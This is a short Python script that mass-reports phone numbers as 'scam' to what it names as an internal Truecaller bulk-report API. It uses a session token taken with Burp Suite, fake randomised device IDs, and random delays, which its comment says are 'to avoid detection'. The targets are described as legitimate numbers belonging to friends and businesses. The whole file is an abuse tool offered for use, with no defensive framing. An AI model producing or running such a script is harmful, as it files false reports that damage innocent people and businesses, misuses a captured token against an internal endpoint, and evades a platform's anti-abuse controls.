import requests
import random
import time
# Your session token (from Burp Suite)
AUTH_TOKEN = "YOUR_X_AUTH_TOKEN_HERE"
BULK_REPORT_URL = "https://api.truecaller.com/v1/internal/report/bulk"
# List of "legit" numbers (friends, businesses, etc.)
LEGIT_NUMBERS = [
"+15551234567",
"+15557654321",
"+442012345678" # Add your own
]
# Randomize delays to avoid detection
for number in LEGIT_NUMBERS:
payload = {
"numbers": [number],
"reason": "scam",
"source": "user_report",
"metadata": {
"device_id": f"android-{random.randint(1000000,9999999)}",
"app_version": "12.3.0"
}
}
headers = {
"Authorization": f"Bearer {AUTH_TOKEN}",
"Content-Type": "application/json"
}
try:
response = requests.post(BULK_REPORT_URL, json=payload, headers=headers)
print(f"Reported {number} | Status: {response.status_code} | Response: {response.text}")
time.sleep(random.uniform(3, 8)) # Random delay
except Exception as e:
print(f"Failed on {number}: {e}")